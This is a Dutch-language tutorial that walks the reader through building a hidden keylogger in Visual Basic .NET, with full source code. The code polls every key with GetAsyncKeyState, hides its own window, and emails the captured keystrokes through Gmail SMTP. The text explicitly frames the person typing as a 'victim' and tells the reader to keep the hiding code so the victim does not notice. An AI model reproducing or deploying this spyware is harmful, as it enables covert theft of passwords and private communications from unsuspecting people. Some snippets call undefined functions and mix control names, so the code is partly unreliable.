EEN KEYLOGGER MAKEN

Een keylogger maken in VB

In deze tutorial ga ik jullie uit proberen te leggen hoe je een keylogger maakt in visual basic. Ik neem aan dat je visual basic al hebt geinstalleerd en dat je hem zo kan starten. Voor deze tutorial heb je al enige kennis nodig van VB

We gaan nu eerst een project maken en geef hem maar een naampje.

Zoals je ziet heb je nu een form, hierin moet je wat dingen toevoegen.

Namelijk:

1 richtextbox

2 timers

Het maakt niet uit hoe groot je form is maar dit moet er in ieder geval op, anders gaat het niet werken. Klik nu op Timer1 en begin met deze code:

CODE:

**Private Sub Timer1\_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick**

**Me.Hide()**

**Me.Visible = False**

**For i = 1 To 255**

**result = 0**

**result = GetAsyncKeyState(i)**

**If result = -32767 Then**

**RichTextBox1.Text = RichTextBox1.Text + Chr(i)**

**End If**

**Next i**

**End Sub**

Helemaal bovenaan alle codes moet je deze code nog toevoegen

CODE:

**Imports System.Net.Mail**

**Public Class Form1**

**Dim result As Integer**

**Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16**

Deze code is namelijk nodig voor later.

Nu gaan we coderen wat zorgt dat de keylogger emails stuurt

Hiervoor gebruiken we:

CODE**:**

**Private Sub Timer2\_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick**

**Try**

**Dim Smtpserver As New SmtpClient**

**Smtpserver.EnableSsl = True**

**Dim mail As New MailMessage**

**Smtpserver.Credentials = New Net.NetworkCredential("je-email@gmail.com", "wachtwoord")**

**Smtpserver.Port = 587**

**Smtpserver.Host = "smtp.gmail.com"**

**mail = New MailMessage**

**mail.From = New MailAddress("je-email@gmail.com")**

**mail.To.Add("je-email@gmail.com")**

**mail.Subject = ("titelnaam")**

**mail.Body = RichTextBox1.Text**

**Smtpserver.Send(mail)**

**RichTextBox1.Text = ""**

**Catch ex As Exception**

**MessageBox.Show("Foutje!")**

**End Try**

**End Sub**

Als je een keylogger wilt maken die de mensen niet zien, verwijder dan niet:

CODE:

**Me.Hide()**

**Me.Visible = False**

Uit de code.

Je kan dit ook weglaten, maar dan zou ik er wel een layout om heen maken.

De letters en cijfers die de victim typt kunnen soms niet helemaal kloppen, probeer dan iets als dit:

**Zie onder code:**

CODE:

**Private Sub Timer1\_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick**

**Me.hide()**

**me.visible = false**

**For i As Integer = 1 To 225**

**result = 0**

**result = GetAsyncKeyState(i)**

**If result = -32767 Then**

**If GetCapslock() = True And GetShift() = True Then**

**Select Case (i)**

**Case 192**

**TextBox1.Text = TextBox1.Text + "~"**

**Case 1**

**'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"**

**Case 64 To 90**

**TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower**

**Case 97 To 122**

**TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower**

**Case 32**

**TextBox1.Text = TextBox1.Text + " "**

**Case 48**

**TextBox1.Text = TextBox1.Text + ")"**

**Case 49**

**TextBox1.Text = TextBox1.Text + "!"**

**Case 50**

**TextBox1.Text = TextBox1.Text + "@"**

**Case 51**

**TextBox1.Text = TextBox1.Text + "#"**

**Case 52**

**TextBox1.Text = TextBox1.Text + "$"**

**Case 53**

**TextBox1.Text = TextBox1.Text + "%"**

**Case 54**

**TextBox1.Text = TextBox1.Text + "^"**

**Case 55**

**TextBox1.Text = TextBox1.Text + "&"**

**Case 56**

**TextBox1.Text = TextBox1.Text + "\*"**

**Case 57**

**TextBox1.Text = TextBox1.Text + "("**

**Case 8**

**TextBox1.Text = TextBox1.Text + "[BackSpace]"**

**Case 46**

**TextBox1.Text = TextBox1.Text + "[Del]"**

**Case 190**

**TextBox1.Text = TextBox1.Text + ">"**

**Case 16**

**Case 160 To 165**

**Case 17**

**TextBox1.Text = TextBox1.Text + "[Ctrl]"**

**Case 18**

**TextBox1.Text = TextBox1.Text + "[Alt]"**

**Case 189**

**TextBox1.Text = TextBox1.Text + "\_"**

**Case 187**

**TextBox1.Text = TextBox1.Text + "+"**

**Case 219**

**TextBox1.Text = TextBox1.Text + "{"**

**Case 221**

**TextBox1.Text = TextBox1.Text + "}"**

**Case 186**

**TextBox1.Text = TextBox1.Text + ":"**

**Case 222**

**TextBox1.Text = TextBox1.Text + """"**

**Case 188**

**TextBox1.Text = TextBox1.Text + "<"**

**Case 191**

**TextBox1.Text = TextBox1.Text + "?"**

**Case 220**

**TextBox1.Text = TextBox1.Text + "|"**

**Case 13**

**TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine**

**Case 20**

**Case 91 'windows key**

**Case 9**

**TextBox1.Text = TextBox1.Text + " [Tab]"**

**Case 2**

**TextBox1.Text = TextBox1.Text + " [RightMouseClick]"**

**Case 37 To 40**

**Case Else**

**TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "**

**End Select**

**End If**

**If GetCapslock() = True And GetShift() = False Then**

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**Case 91 'windows key**

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**Case 48 To 57**

**TextBox1.Text = TextBox1.Text + Chr(i)**

**Case 8**

**TextBox1.Text = TextBox1.Text + "[BackSpace]"**

**Case 46**

**TextBox1.Text = TextBox1.Text + "[Del]"**

**Case 190**

**TextBox1.Text = TextBox1.Text + "."**

**Case 16**

**Case 160 To 165**

**Case 20**

**Case 192**

**TextBox1.Text = TextBox1.Text + "`"**

**Case 189**

**TextBox1.Text = TextBox1.Text + "-"**

**Case 187**

**TextBox1.Text = TextBox1.Text + "="**

**Case 219**

**TextBox1.Text = TextBox1.Text + "["**

**Case 221**

**TextBox1.Text = TextBox1.Text + "]"**

**Case 186**

**TextBox1.Text = TextBox1.Text + ";"**

**Case 222**

**TextBox1.Text = TextBox1.Text + "'"**

**Case 188**

**TextBox1.Text = TextBox1.Text + ","**

**Case 191**

**TextBox1.Text = TextBox1.Text + "/"**

**Case 220**

**TextBox1.Text = TextBox1.Text + "\"**

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**End If**

**Next i**

**End Sub**